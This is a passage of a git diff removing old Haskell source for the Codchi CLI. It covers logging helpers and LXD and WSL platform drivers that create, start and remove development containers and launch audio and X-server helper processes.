mkDefaultProcessContext - logLevel <- lookupLogLevel - withLogFunc opts $ \logFunc -> - let codchi = Codchi{logFunc, processContext, logLevel} - in runRIO codchi $ - app - `Ann.catch` (\(e :: CodchiError) -> logExit (show e)) - `catchAny` (\other -> logError (fromString $ displayException other) >> throwM other) - --------------------------------------- --- Additional MonadCodchi functions -- --------------------------------------- - -findCodeMachine :: MonadCodchi m => CodchiName -> m (Maybe CodeMachine) -findCodeMachine name = find (\cm -> name == cm.name) <$> listMachines - -findCodeMachine_ :: MonadCodchi m => CodchiName -> m CodeMachine -findCodeMachine_ name = - whenNothingM (findCodeMachine name) $ - Ann.throw . InternalPanic $ - "Could not find machine " <> toString name.text - -runCtrlNixCmd_ :: MonadCodchi m => StreamOutput -> Text -> m Text -runCtrlNixCmd_ stream cmd = - either (Ann.throw . InternalNixError) return - =<< runCtrlNixCmd stream cmd - ------------------------ --- Logging / Tracing -- ------------------------ - -type MonadLogger e m = (HasLogFunc e, MonadReader e m, MonadIO m) - -lookupLogLevel :: MonadIO m => m LogLevel -lookupLogLevel = do - lvlStr <- fromMaybe "" <$> lookupEnv "LOG" - return $ case map toLower lvlStr of - "error" -> LevelError - "warn" -> LevelWarn - "info" -> LevelInfo - "debug" -> LevelDebug - _ -> LevelInfo - -initOptions :: MonadIO m => (Bool -> m LogOptions) -> m LogOptions -initOptions mkOpts = do - logLevel <- lookupLogLevel - let isVerbose = logLevel == LevelDebug - mods = setLogMinLevel logLevel - - mods <$> mkOpts isVerbose - -withStderrLogging :: (MonadIO m) => (LogOptions -> m a) -> m a -withStderrLogging act = initOptions (logOptionsHandle stderr) >>= act - -withFileLogging :: (MonadCodchi m, m ~ RIO Codchi) => Text -> (LogOptions -> m a) -> m a -withFileLogging name act = do - logFile <- - liftIO . withStderrLogging . runCodchi $ - getDriverPath DirState (fromList [name <> ".log"]) - bracket (openFile logFile AppendMode) hClose $ - \h -> do - hSetBuffering h LineBuffering - opts <- initOptions (logOptionsHandle h) - act opts - -logExit :: HasLogFunc e => Utf8Builder -> RIO e b -logExit msg = logError msg >> exitFailure - -logTrace :: (Display d, MonadLogger e m) => LogSource -> d -> a -> m a -logTrace loc msg x = x <$ logDebugS loc (display msg) - -logTraceId :: (Show s, MonadLogger e m) => LogSource -> s -> m s -logTraceId loc msg = logTrace loc (show @Text msg) msg - -withConsole :: MonadIO m => BylineT IO a -> m (Maybe a) -withConsole = liftIO . runBylineT - -withConsole_ :: MonadIO m => BylineT IO a -> m () -withConsole_ = void . withConsole diff --git a/.old/cli/src/Codchi/Platform/Linux.hs b/.old/cli/src/Codchi/Platform/Linux.hs deleted file mode 100644 index 04626e5f..00000000 --- a/.old/cli/src/Codchi/Platform/Linux.hs +++ /dev/null @@ -1,290 +0,0 @@ -{-# OPTIONS_GHC -Wno-orphans #-} -{-# OPTIONS_GHC -Wno-unrecognised-pragmas #-} - -{-# HLINT ignore "Redundant fmap" #-} - -module Codchi.Platform.Linux where - -import Codchi.Config -import Codchi.Config.IO (readConfig) -import Codchi.Error -import Codchi.Platform.CodchiMonad -import Codchi.Types -import qualified Control.Exception.Annotated.UnliftIO as Ann -import qualified Data.ByteString as BS -import Data.ByteString.Builder.Extra (defaultChunkSize) -import qualified Data.Text as Text -import qualified Data.Text.Lazy as LText -import RIO (RIO, async, catch, hClose, logError, throwIO) -import qualified RIO.Map as Map -import System.Process.Typed (ExitCode (..), ProcessConfig, readProcess_, runProcess_, shell) -import qualified System.Process.Typed as Proc -import UnliftIO.Directory - -_IDMAP :: String -_IDMAP = - toString $ - unlines - [ "uid 0 0" - , "gid 0 0" - , "uid $(id -u) 1000" - , "gid $(id -g) 100" - ] - -instance MonadCodchi (RIO Codchi) where - driverMeta = - pure $ DriverMeta{moduleName = "lxd"} - - getDriverPath dirType subDir = do - fp <- - logTraceId "create-dir" - =<< case dirType of - DirCtrl -> getXdgDirectory XdgData _APP_NAME - DirState -> do - xdgState <- lookupEnv "XDG_STATE_HOME" - xdgHome <- getHomeDirectory - let stateDir = fromMaybe (xdgHome <> "/.local/state") xdgState - return $ stateDir <> "/" <> _APP_NAME - DirConfig -> getXdgDirectory XdgConfig _APP_NAME - createDirectoryIfMissing True fp - return $ fp <> "/" <> toString (toUnixPath subDir) - - getStatus = do - (out, _) <- readProcess_ (shell "lxc list --format csv -c ns") - out - & decodeUtf8 - & lines - & fmap (Text.split (== ',')) - & find ((== Just _CONTROLLER) . listToMaybe) - & \case - Just [_, "RUNNING"] -> return CodchiRunning - Just [_, "STOPPED"] -> return CodchiStopped - _ -> return CodchiNotInstalled - - listMachines = do - (out, _) <- readProcess_ (shell "lxc list --format csv -c ns") - let lxdInstances = - out - & decodeUtf8 - & lines - & fmap (Text.split (== ',')) - & mapMaybe - ( \case - [lxdName, status] -> - Text.stripPrefix _INSTANCE_PREFIX lxdName - <&> ( \name -> case status of - "RUNNING" -> (name, (name, MachineRunning)) - "STOPPED" -> (name, (name, MachineStopped)) - _ -> (name, (name, MachineNotInstalled)) - ) - _ -> Nothing - ) - & Map.fromList - codeMachines <- (.instances) <$> readConfig - return $ - Map.elems $ - Map.mergeWithKey matched (fmap onlyInLXD) (fmap onlyInCodchi) lxdInstances codeMachines - where - matched :: Text -> (Text, MachineStatus) -> InstanceConfig -> Maybe CodeMachine - matched name (_, status) _machine = Just $ CodeMachine{name = CodchiName name, status} - - onlyInLXD :: (Text, MachineStatus) -> CodeMachine - onlyInLXD (name, _) = CodeMachine{name = CodchiName name, status = MachineOrphaned} - - onlyInCodchi :: InstanceConfig -> CodeMachine - onlyInCodchi cfg = CodeMachine{name = cfg.name, status = MachineNotInstalled} - - getControllerPath _ = return $ Left "Adding file modules under Linux is not supported in Codchi." - - controllerInit = do - let cmds = - [ "lxc image import $(nix build .#lxd-ctrl-rootfs --no-link --print-out-paths)/controller.tar.gz --alias codchi-controller" - , "lxc init codchi-controller codchi-controller" - , "lxc image delete codchi-controller" - , "mkdir -p $XDG_DATA_HOME/codchi/{nix,instances,instance-state}" - , "lxc config set codchi-controller security.nesting=true" - , "lxc config device add codchi-controller nix disk \"source=$XDG_DATA_HOME/codchi/nix\" path=/nix" - , "lxc config device add codchi-controller instances disk \"source=$XDG_DATA_HOME/codchi/instances\" path=/instances" - , "lxc config device add codchi-controller instance-state disk \"source=$XDG_DATA_HOME/codchi/instance-state\" path=/instance-state" - , "printf \"" <> _IDMAP <> "\" | lxc config set codchi-controller raw.idmap -" -- not sure if this is needed - ] - forM_ cmds (runProcess_ . shell) - `catch` ( \case - ExitFailure _ -> runProcess_ "lxc image delete -q codchi-controller; lxc delete -qf codchi-controller; true" - _ -> pass - ) - - controllerStart = do - status <- getStatus - when (status == CodchiStopped) $ - runProcess_ (shell "lxc start codchi-controller") - - -- runProcess_ (controllerCmd "nix shell nixpkgs#lf -c lf") - - runCtrlNixCmd streamLog cmd = do - controllerStart - let rp - | streamLog == StreamStd = readProcessWith putText putText - | otherwise = readProcessWith (const pass) (const pass) - result <- rp $ controllerCmd cmd - - case result of - Left err -> - case Text.splitOn "error: " err of - [_, e] | not (Text.null e) -> return $ Left $ toString e - _ -> Ann.throw $ InternalNixError $ toString err - Right out -> return $ Right out - - driverInstallInstance name rootfs = do - let lxdName = _INSTANCE_PREFIX <> toString name.text - codchiName = toString name.text - mountCtrlDir devName src dest = - "lxc config device add " - <> lxdName - <> " " - <> devName - <> " disk \"source=$XDG_DATA_HOME/codchi" - <> src - <> "\" path=" - <> dest - let cmds = - [ "lxc image import \"" <> rootfs <> "\" --alias " <> lxdName - , "mkdir -p $XDG_DATA_HOME/codchi/instance-state/" <> codchiName - , "lxc init " <> lxdName <> " " <> lxdName - , "lxc image delete " <> lxdName - , "lxc config set " <> lxdName <> " security.nesting=true" - , mountCtrlDir "nix-store" "/nix/store" "/nix/store" - , mountCtrlDir "nix-daemon" "/nix/var/nix/daemon-socket" "/nix/var/nix/daemon-socket" - , mountCtrlDir "nix-profile" ("/nix/var/nix/profiles/per-instance/" <> codchiName) "/nix/var/nix/profiles" - , mountCtrlDir "nix-all-profiles" "/nix/var/nix/profiles" "/nix/var/nix/profiles/global" - , mountCtrlDir "nix-db" "/nix/var/nix/db" "/nix/var/nix/db" - , mountCtrlDir "home" ("/instance-state/" <> codchiName) "/home" - , "printf \"" <> _IDMAP <> "\" | lxc config set " <> lxdName <> " raw.idmap -" - ] - putTextLn $ "Installing " <> show name.text <> " from " <> toText rootfs - forM_ cmds (runProcess_ . shell) - `catch` ( \case - ExitFailure _ -> driverUninstallInstance name MachineNotInstalled - _ -> pass - ) - updateShortcuts _name _path = logError "updateShortcuts is not implemented yet" - driverUninstallInstance name _status = do - let lxdName = _INSTANCE_PREFIX <> toString name.text - mapM_ - (runProcess_ . shell) - [ "lxc delete -qf " <> lxdName <> " || true" - , "lxc image delete -q " <> lxdName <> " || true" - , "rm -rf $XDG_DATA_HOME/codchi/instance-state/" <> toString name.text - ] - - runInInstance i showTerm cmd = do - instanceStatus <- (.status) <$> findCodeMachine_ i.name - when (instanceStatus == MachineStopped) $ do - mapM_ - (runProcess_ . shell) - [ "lxc start " <> _INSTANCE_PREFIX <> toString i.name.text - , "lxc exec " <> _INSTANCE_PREFIX <> toString i.name.text <> " -- bash -c 'until [ -f /run/current-system/sw/bin/bash ]; do sleep .1; done'" - ] - let wrapIO - | showTerm = - Proc.setStdin (Proc.useHandleOpen stdin) - . Proc.setStdout (Proc.useHandleOpen stdout) - . Proc.setStderr (Proc.useHandleOpen stderr) - | otherwise = - Proc.setStdin Proc.nullStream - . Proc.setStdout Proc.nullStream - . Proc.setStderr Proc.nullStream - - runProcess_ $ - wrapIO $ - lxdCmd (_INSTANCE_PREFIX <> i.name.text) "nixos" $ - case cmd of - [] -> "bash -l" - args -> unwords args - runInstanceCmd streamLog name cmd = do - instanceStatus <- (.status) <$> findCodeMachine_ name - when (instanceStatus == MachineStopped) $ do - mapM_ - (runProcess_ . shell) - [ "lxc start " <> _INSTANCE_PREFIX <> toString name.text - , "lxc exec " <> _INSTANCE_PREFIX <> toString name.text <> " -- bash -c 'until [ -f /run/current-system/sw/bin/bash ]; do sleep .1; done'" - ] - let rp - | streamLog == StreamStd = readProcessWith putText putText - | otherwise = readProcessWith (const pass) (const pass) - result <- rp $ lxdCmd name.text "root" cmd - - case result of - Left err -> - case Text.splitOn "error: " err of - [_, e] | not (Text.null e) -> return $ Left e - _ -> Ann.throw $ InternalNixError $ toString err - Right out -> return $ Right out - -instance IsString (Path x) where - fromString = mkUnixPath . toText - -controllerCmd :: Text -> ProcessConfig () () () -controllerCmd = lxdCmd _CONTROLLER "root" - -lxdCmd :: Text -> Text -> Text -> ProcessConfig () () () -lxdCmd name user cmd = - shellCmd "lxc" $ - ["exec", name, "--", "su", "-l", user, "-c"] -- <> (["-x" | logLevel <= LevelDebug]) FIXME - <> ["'" <> cmd <> "'"] - -shellCmd :: Text -> [Text] -> ProcessConfig () () () -shellCmd cmd args = - -- logTraceId "shellCmd" $ FIXME - Proc.shell $ toString $ unwords $ cmd : args - -shellProc :: Text -> [Text] -> ProcessConfig () () () -shellProc cmd args = - -- logTraceId "shellProc" $ FIXME - Proc.proc (toString cmd) (map toString args) - -readProcessWith :: - MonadCodchi m => - (Text -> IO ()) -> - (Text -> IO ()) -> - ProcessConfig () () () -> - m (Either Text Text) -readProcessWith outLogger errLogger proc = do - proc' <- - Proc.setStdout (loggingTextOutput outLogger) - . Proc.setStderr (loggingTextOutput errLogger) - <$> logTraceId "readProcess" proc - let collect p = - atomically $ - (,,) - <$> Proc.waitExitCodeSTM p - <*> Proc.getStdout p - <*> Proc.getStderr p - (exitCode, out, err) <- - logTraceId "readProcess result" - =<< Proc.withProcessTerm proc' collect - case exitCode of - ExitSuccess -> - logTraceId "splitWinWSL" $ Right $ toStrict out - ExitFailure _ -> - logTraceId "splitWinWSL" $ Left $ toStrict err - -loggingTextOutput :: (Text -> IO ()) -> Proc.StreamSpec 'Proc.STOutput (STM LText) -loggingTextOutput logger = Proc.mkPipeStreamSpec $ - \pc h -> do - mvar <- newEmptyTMVarIO - - void $ async $ do - let loop front = do - bs <- BS.hGetSome h defaultChunkSize - let txt = decodeUtf8 $ toLazy bs - if BS.null bs - then atomically $ putTMVar mvar $ Right $ LText.fromChunks $ front [] - else do - logger txt - loop $ front . (txt :) - loop id `catch` \e -> do - atomically $ void $ tryPutTMVar mvar $ Left $ Proc.ByteStringOutputException e pc - throwIO e - - return (either throwSTM return =<< readTMVar mvar, hClose h) diff --git a/.old/cli/src/Codchi/Platform/Windows.hs b/.old/cli/src/Codchi/Platform/Windows.hs deleted file mode 100644 index 2be0082c..00000000 --- a/.old/cli/src/Codchi/Platform/Windows.hs +++ /dev/null @@ -1,660 +0,0 @@ -{-# LANGUAGE CPP #-} -{-# LANGUAGE DeriveAnyClass #-} -{-# LANGUAGE TypeApplications #-} -{-# OPTIONS_GHC -Wno-orphans #-} - -module Codchi.Platform.Windows where - -#ifdef mingw32_HOST_OS -import Graphics.Win32 hiding (try) -import System.Win32.Shell -import System.Win32.Shortcut -#endif - -import Codchi.Config -import Codchi.Config.IO (readConfig) -import Codchi.Error -import Codchi.Parser -import Codchi.Platform.CodchiMonad -import Codchi.Platform.Windows.Internal -import Codchi.Types -import Control.Concurrent.STM (dupTChan, newTChan, tryReadTChan, writeTChan) -import qualified Control.Exception.Annotated.UnliftIO as Ann -import qualified Data.Attoparsec.Text as P -import qualified Data.ByteString as BS -import Data.ByteString.Builder.Extra (defaultChunkSize) -import qualified Data.ByteString.Lazy as BL -import Data.Char (isSpace) -import Data.List (stripPrefix) -import qualified Data.String as String -import qualified Data.Text as Text -import qualified Data.Text.Lazy as LText -import RIO (LogLevel (..), MonadUnliftIO (..), RIO, async, catch, display, finally, hClose, logGeneric, logInfo, logWarn, threadDelay, throwIO, try) -import qualified RIO.Map as Map -import System.IO.Error (isPermissionError) -import qualified System.IO.Utf8 as Utf8 -import System.Process.Typed (ExitCode (..), ProcessConfig) -import qualified System.Process.Typed as Proc -import UnliftIO.Directory - -data WSLDistro = WSLDistro - { name :: !Text - , status :: !MachineStatus - , isWSL2 :: !Bool - } - deriving (Show) - -type IsRunning = Bool - -data WinCodchiStatus - = WSLNotInstalledOrNeedsUpdate - | ControllerNotInstalled - | ControllerInstalled IsRunning - -instance Parseable [WSLDistro] where - -- drop table header - parser = drop 1 <$> p - where - p = P.sepBy' lineP P.endOfLine <* P.endOfLine - lineP = - WSLDistro - <$> nameP - <*> isRunningP - <*> versionP - <* P.skipWhile (not . P.isEndOfLine) - nameP = - P.skipWhile (\x -> isSpace x || x == '*') - *> P.takeWhile1 (not . isSpace) - isRunningP = - P.skipWhile isSpace - *> ( (\s -> if s == "Running" then MachineRunning else MachineStopped) - <$> P.takeWhile1 (not . isSpace) - ) - versionP = - P.skipWhile isSpace - *> ((== "2") <$> P.takeWhile1 (not . isSpace)) - -data Shell = Windows | InWSL deriving (Eq, Show) - --- \| exit failure -newtype ShellException - = ShellException Text - deriving (Show) - deriving anyclass (Exception) - --- | Somethings wrong with controller -newtype ControllerException - = ControllerException String - deriving (Show) - deriving anyclass (Exception) - -instance MonadCodchi (RIO Codchi) where - driverMeta = - pure $ DriverMeta{moduleName = "wsl"} - - getStatus = - getControllerStatus >>= \case - WSLNotInstalledOrNeedsUpdate -> - Ann.throw $ - InternalDriverError $ - "WSL is not installed or needs an update.\r\n" - <> "Please run 'wsl --install --web-download --no-distribution' or " - <> "download the latest version from 'https://github.com/microsoft/WSL/releases'.\r\n" - <> "This will require admin privileges and also restarting your computer." - ControllerNotInstalled -> return CodchiNotInstalled - ControllerInstalled isRunning -> return $ if isRunning then CodchiRunning else CodchiStopped - listMachines = do - wslDistros <- listWSLDistros - let wslInstances = - Map.fromList - [ (instanceName, wslDistro) - | wslDistro <- wslDistros - , instanceName <- - maybeToList $ - Text.stripPrefix _INSTANCE_PREFIX wslDistro.name - ] - codeMachines <- (.instances) <$> readConfig - return $ - Map.elems $ - Map.mergeWithKey matched (fmap onlyInWSL) (fmap onlyInCodchi) wslInstances codeMachines - where - matched :: Text -> WSLDistro -> InstanceConfig -> Maybe CodeMachine - matched name distro _machine = - Just $ - CodeMachine{name = CodchiName name, status = distro.status} - - onlyInWSL :: WSLDistro -> CodeMachine - onlyInWSL distro = CodeMachine{name = CodchiName distro.name, status = MachineOrphaned} - - onlyInCodchi :: InstanceConfig -> CodeMachine - onlyInCodchi cfg = CodeMachine{name = cfg.name, status = MachineNotInstalled} - - -- case find ((== name) . (.name)) instances of - -- Nothing -> return (CodchiInstance{name, status = NotInstalled}) - -- Just i -> return i - - controllerInit = - liftIO (flip findFile "codchi\\controller.tar.gz" =<< getXdgDirectoryList XdgDataDirs) >>= \case - Nothing -> - Ann.throw $ InternalPanic "Couldn't find root filesystem for Codchi controller" - Just rootfs -> do - ctrlDir <- getOrCreateXdgDir XdgCache (mkNTPath (_CONTROLLER_DIR :: Text)) - ctrlFile <- - logTraceId "controller dir" $ - toNTPath $ - ctrlDir fromList ["controller.tar.gz"] - copyFile rootfs (toString ctrlFile) - - let wslImport = - void $ - readProcess_ $ - wsl'exeCmd - [ "--import" - , _CONTROLLER - , toNTPath ctrlDir - , ctrlFile - ] - cleanup = removeFile $ toString ctrlFile - - wslImport `finally` cleanup - controllerStart = mainLoop - - runCtrlNixCmd streamLog cmd = do - let printWSL Win _ = pass - printWSL WSL txt = putText txt - rp - | streamLog == StreamStd = readProcessWith printWSL printWSL - | otherwise = readProcess - result <- rp $ controllerCmd cmd - - case result of - Left err -> - case Text.splitOn "error: " err of - [_, e] | not (Text.null e) -> return $ Left $ toString e - _ -> Ann.throw $ ShellException err - Right out -> return $ Right out - runInstanceCmd streamLog inst cmd = do - let printWSL Win _ = pass - printWSL WSL txt = putText txt - rp - | streamLog == StreamStd = readProcessWith printWSL printWSL - | otherwise = readProcess - result <- rp $ wslCmd inst.withPrefix cmd - - case result of - Left err -> return $ Left err - Right out -> return $ Right out - driverInstallInstance name rootfsPath = do - instanceDir <- - getOrCreateXdgDir XdgCache $ - mkNTPath ("instances" :: Text) mkNTPath name.text - - putTextLn $ "Installing " <> show name.text <> " from " <> toText rootfsPath - - void $ - readProcess_ $ - wsl'exeCmd - [ "--import" - , name.withPrefix - , toNTPath instanceDir - , toText rootfsPath - ] - driverUninstallInstance name _status = do - putTextLn $ "Uninstalling " <> name.text - - _ <- - readProcess_ $ - wsl'exeCmd ["--unregister", name.withPrefix] - - startMenu <- getFolderPath cSIDL_PROGRAMS - let instanceFolder = startMenu fromList [_APP_NAME <> " - " <> name.text] - retryOnPermissionErrors 100 $ - removePathForcibly (toString $ toNTPath instanceFolder) - liftIO refreshIconCache - - runInInstance i showTerm args = do - liftIO $ do - consoleWindow <- getConsoleWindow - case consoleWindow of - Just hwnd | not showTerm -> failIfFalse_ "hide console window" $ showWindow hwnd sW_HIDE - _ -> pass - let wrapIO - | showTerm = - Proc.setStdin (Proc.useHandleOpen stdin) - . Proc.setStdout (Proc.useHandleOpen stdout) - . Proc.setStderr (Proc.useHandleOpen stderr) - | otherwise = - Proc.setStdin Proc.nullStream - . Proc.setStdout Proc.nullStream - . Proc.setStderr Proc.nullStream - - Proc.runProcess_ $ - wrapIO $ - wsl'exeCmd $ - [ "-d" - , i.name.withPrefix - , "--shell-type" - , "login" - ] - <> args - updateShortcuts name swSharePath = do - icosFolder <- - toString . toNTPath - <$> getOrCreateXdgDir XdgCache (fromList ["icos", name.text]) - - -- cleanup start menu entries - mapM_ (removeFile . (\f -> icosFolder <> "\\" <> f)) =<< listDirectory icosFolder - - desktopEntries <- - let parseDesktopEntryAndIco app = do - de <- - parse @(DesktopEntry ()) . decodeUtf8 - <$> readFileBS (swSharePath <> "\\codchi\\applications\\" <> toString app <> ".desktop") - - case de of - Left err -> - Ann.throw $ - InternalPanic $ - "Could not parse desktop entry for " <> toString app <> ":\n" <> err - Right desktopEntry -> do - let iconInCtrl = swSharePath <> "\\codchi\\icos\\" <> toString app <> ".ico" - iconInWin = icosFolder <> "\\" <> toString desktopEntry.name <> ".ico" - icon <- - doesFileExist iconInCtrl >>= \case - True -> do - copyFile iconInCtrl iconInWin - return $ Just iconInWin - False -> do - logWarn $ "Could not find .ico for " <> display app - return Nothing - return $ desktopEntry{icon} - in mapM parseDesktopEntryAndIco - . mapMaybe (Text.stripSuffix ".desktop" . toText) - =<< listDirectory (swSharePath <> "\\codchi\\applications") - - startMenuFolder <- liftIO $ do - startMenu <- getFolderPath cSIDL_PROGRAMS - let instanceFolder = startMenu fromList [_APP_NAME <> " - " <> name.text] - createDirectoryIfMissing True (toString $ toNTPath instanceFolder) - return $ toString $ toNTPath instanceFolder - - -- cleanup start menu entries - mapM_ (removeFile . (\f -> startMenuFolder <> "\\" <> f)) =<< listDirectory startMenuFolder - - -- create shortcuts - -- currentDir <- getCurrentDirectory - homeDir <- getHomeDirectory - either (Ann.throw . InternalPanic . show) return - =<< liftIO - ( runExceptT $ do - ExceptT initialize - forM_ desktopEntries $ \desktopEntry -> do - let exec = toString - . unwords - . filter (not . ("%" `Text.isPrefixOf`)) - . words - $ desktopEntry.exec - lnk = - Shortcut - { targetPath = _APP_NAME <> ".exe" - , arguments = - String.unwords $ - ["run"] - <> ["--no-terminal" | not desktopEntry.isTerminal] - <> [ toString name.text - , "--" - , exec - ] - , workingDirectory = homeDir - , showCmd = if desktopEntry.isTerminal then ShowNormal else ShowMinimized - , description = "" - , iconLocation = (fromMaybe "" desktopEntry.icon, 0) - , hotkey = 0 - } - lnkPath = startMenuFolder <> "\\" <> toString desktopEntry.name <> ".lnk" - ExceptT $ writeShortcut lnk lnkPath - liftIO uninitialize - ) - liftIO refreshIconCache - - getDriverPath dirType s = - toString . toNTPath . ( s) - <$> case dirType of - DirCtrl -> do - let dir = getWSLInstanceDir _CONTROLLER - createDirectoryIfMissing True $ toString $ toNTPath dir - return dir - DirState -> getOrCreateXdgDir XdgCache emptyPath - DirConfig -> getOrCreateXdgDir XdgConfig emptyPath - getControllerPath path = - case "C:\\" `stripPrefix` path of - Just p -> return (Right $ fromList ["mnt", "c"] mkNTPath p) - Nothing -> return (Left "Please provide an absolute path located on C:\\") - -mainLoop :: forall m. MonadCodchi m => m () -mainLoop = do - pulseaudioLogFile <- getDriverPath DirState $ fromList ["pulseaudio.log"] - loglvl <- (.logLevel) <$> ask - let pulseaudioLogLevel = case loglvl of - LevelError -> 0 :: Int - LevelWarn -> 1 - LevelDebug -> 4 - _ -> 3 - vcxsrvLogFile <- getDriverPath DirState $ fromList ["vcxsrv.log"] - let vcxsrvLogLevel = case loglvl of - LevelError -> 0 :: Int - LevelWarn -> 1 - LevelDebug -> 3 - _ -> 2 - - cancelChan <- atomically newTChan - - logInfo "Waking up WSL..." - void $ runProcessSilent $ controllerCmd "true" - wslVmId <- - logTraceId "wslVmId" - =<< maybe (Ann.throw $ InternalPanic "Can't retrieve WSL's VM ID...") return - =<< liftIO findWslVmId - - let subprog name cmd args = do - myCancelChan <- atomically $ dupTChan cancelChan - void $ - runProcessSilent $ - shellProc "taskkill.exe" ["/F", "/IM", name] - let doLog lvl _ = logGeneric name lvl . display . Text.stripEnd - fix $ \loop -> do - runProcessWith (doLog LevelInfo) (doLog LevelWarn) (shellProc cmd args) - whenNothingM_ (atomically $ tryReadTChan myCancelChan) $ do - logWarn $ display name <> " exited unexpectedly. Restarting..." - threadDelay 1_000_000 - loop - - void $ do - winFolder <- toNTPath <$> getFolderPath cSIDL_PROGRAM_FILESx86 - async $ - subprog - "codchi_pulseaudio.exe" - (winFolder <> "\\PulseAudio\\bin\\codchi_pulseaudio.exe") - [ "--log-target=file:" <> toText pulseaudioLogFile - , "--log-time" - , "--log-level=" <> show pulseaudioLogLevel - , "--disallow-exit" - , "--disallow-module-loading" - , -- , "--system" - "--exit-idle-time=-1" - ] - void $ do - winFolder <- toNTPath <$> getFolderPath cSIDL_PROGRAM_FILES - async $ - subprog - "codchi_vcxsrv.exe" - (winFolder <> "\\VcXsrv\\codchi_vcxsrv.exe") - [ "-ac" -- disable access control - , "-noreset" -- dont restart after last client exits - , "-wgl" -- native opengl - , "-compositewm" -- previews for windows - , "-notrayicon" - , "-dpi" - , "auto" - , "-multiwindow" -- seamless mode - , "-clipboard" - , "-noprimary" - , "-logfile" - , toText vcxsrvLogFile - , "-logverbose" - , show vcxsrvLogLevel - , "-vmid" - , "{" <> toText wslVmId <> "}" - , "-vsockport" - , "6000" - ] - -- https://sourceforge.net/p/vcxsrv/discussion/986201/thread/1ab552d067/ - - void $ async $ do - myCancelChan <- atomically $ dupTChan cancelChan - void $ readProcess $ controllerCmd "pkill nix-daemon || true" - let doLog lvl _ = logGeneric "controller" lvl . display . Text.stripEnd - fix $ \loop -> do - runProcessWith (doLog LevelInfo) (doLog LevelWarn) $ - Proc.setStdin Proc.closed $ - controllerCmd "/bin/ctrl-serve" - whenNothingM_ (atomically $ tryReadTChan myCancelChan) $ do - doLog LevelWarn Win ("Codchi controller exited unexpectedly (please see logs). Restarting..." :: Text) - loop - - runWinLoop $ do - putTextLn "Stopping controller..." - atomically $ writeTChan cancelChan () - void $ runProcessSilent $ controllerCmd "pkill nix-daemon || true" - -- void $ runProcessSilent $ shellProc "taskkill.exe" [ "/F", "/IM", "codchi_pulseaudio.exe" ] - void $ runProcessSilent $ shellProc "taskkill.exe" ["/F", "/IM", "codchi_vcxsrv.exe"] - --- retryDuring :: MonadIO m => Integer -> Int -> m (Maybe e) -> m (Maybe e) --- retryDuring timeFrame maxTries act --- | maxTries < 1 = pure Nothing --- | otherwise = loop 1 . round =<< liftIO getPOSIXTime --- where --- loop n firstTryTime = do --- res <- act --- curTime <- round <$> liftIO getPOSIXTime --- case res of --- Nothing -> return Nothing --- Just err --- | curTime - firstTryTime <= timeFrame -> if n < maxTries --- then loop (n+1) firstTryTime --- else return $ Just err --- | otherwise -> loop 0 curTime - -getOrCreateXdgDir :: MonadLogger e m => XdgDirectory -> Path Rel -> m (Path Abs) -getOrCreateXdgDir xdg dir = do - path <- mkNTPath <$> getXdgDirectory xdg _APP_NAME - let innerPath = path dir - fp <- logTraceId "create-dir" (toString $ toNTPath innerPath) - createDirectoryIfMissing True fp - return innerPath - --- instance IsString (Path t) where --- fromString = mkNTPath . toText - -controllerCmd :: Text -> ProcessConfig () () () -controllerCmd = wslCmd _CONTROLLER - -wslCmd :: Text -> Text -> ProcessConfig () () () -wslCmd name cmd = - wsl'exeCmd $ - [ "-d" - , name - , "--shell-type" - , "login" - , "--user" - , "root" - , -- , "--cd", "/root" - "bash" - , "-ic" - ] - -- <> (["-x" | logLevel <= LevelDebug]) FIXME - <> [ show $ "printf " <> _MAGIC_UTF8_SEQ <> " | tee /dev/stderr ; " <> cmd - ] - -wsl'exeCmd :: [Text] -> ProcessConfig () () () -wsl'exeCmd = shellCmd "wsl.exe" - -shellCmd :: Text -> [Text] -> ProcessConfig () () () -shellCmd cmd args = - -- logTraceId "shellCmd" $ FIXME - Proc.shell $ - toString $ - unwords $ - cmd : args - -shellProc :: Text -> [Text] -> ProcessConfig () () () -shellProc cmd args = - -- logTraceId "shellProc" $ FIXME - Proc.proc (toString cmd) (map toString args) - -listWSLDistros :: MonadCodchi m => m [WSLDistro] -listWSLDistros = parseProcess_ $ wsl'exeCmd ["-l", "-v"] - -runProcessSilent :: MonadIO m => ProcessConfig stdin stdout stderr -> m ExitCode -runProcessSilent = - Proc.runProcess - . Proc.setStdout Proc.nullStream - . Proc.setStderr Proc.nullStream - -runProcessWith :: - MonadUnliftIO m => - (OutputType -> Text -> m ()) -> - (OutputType -> Text -> m ()) -> - ProcessConfig () () () -> - m () -runProcessWith outLogger errLogger proc = do - let proc' = - proc - & Proc.setStderr Proc.createPipe - & Proc.setStdout Proc.createPipe - Proc.withProcessTerm proc' $ \p -> do - let send logger h = loop Win - where - loop prevType = do - bs <- liftIO $ BS.hGetSome h defaultChunkSize - let txt = decodeUtf16And8 $ toLazy bs - fixEOL - | prevType == WSL = Text.replace "\n" "\r\n" - | otherwise = id - unless (BS.null bs) $ - case map fixEOL $ Text.splitOn _MAGIC_UTF8_SEQ txt of - [win, wsl] -> do - void $ logger Win win - void $ logger WSL wsl - loop WSL - _ -> do - void $ logger prevType txt - loop prevType - void $ async $ send outLogger (Proc.getStdout p) - void $ async $ send errLogger (Proc.getStderr p) - void $ Proc.waitExitCode p - -data OutputType = Win | WSL deriving (Eq) - -readProcessWith :: - MonadCodchi m => - (OutputType -> Text -> IO ()) -> - (OutputType -> Text -> IO ()) -> - ProcessConfig () () () -> - m (Either Text Text) -readProcessWith outLogger errLogger proc = do - proc' <- - Proc.setStdout (loggingTextOutput outLogger) - . Proc.setStderr (loggingTextOutput errLogger) - <$> logTraceId "readProcess" proc - let collect p = - atomically $ - (,,) - <$> Proc.waitExitCodeSTM p - <*> Proc.getStdout p - <*> Proc.getStderr p - splitWinWSL txt = case Text.splitOn _MAGIC_UTF8_SEQ txt of - [_, wsl] | not (Text.null wsl) -> wsl - _ -> txt - (exitCode, out, err) <- - logTraceId "readProcess result" - =<< Proc.withProcessTerm proc' collect - case exitCode of - ExitSuccess -> - logTraceId "splitWinWSL" $ Right $ splitWinWSL $ toStrict out - ExitFailure _ -> - logTraceId "splitWinWSL" $ Left $ splitWinWSL $ toStrict err - -loggingTextOutput :: (OutputType -> Text -> IO ()) -> Proc.StreamSpec 'Proc.STOutput (STM LText) -loggingTextOutput logger = Proc.mkPipeStreamSpec loggingTextOutputFromHandle - where - loggingTextOutputFromHandle :: ProcessConfig () () () -> Handle -> IO (STM LText, IO ()) - loggingTextOutputFromHandle pc h = Utf8.withHandle h $ do - mvar <- newEmptyTMVarIO - - void $ async $ do - let loop prevType 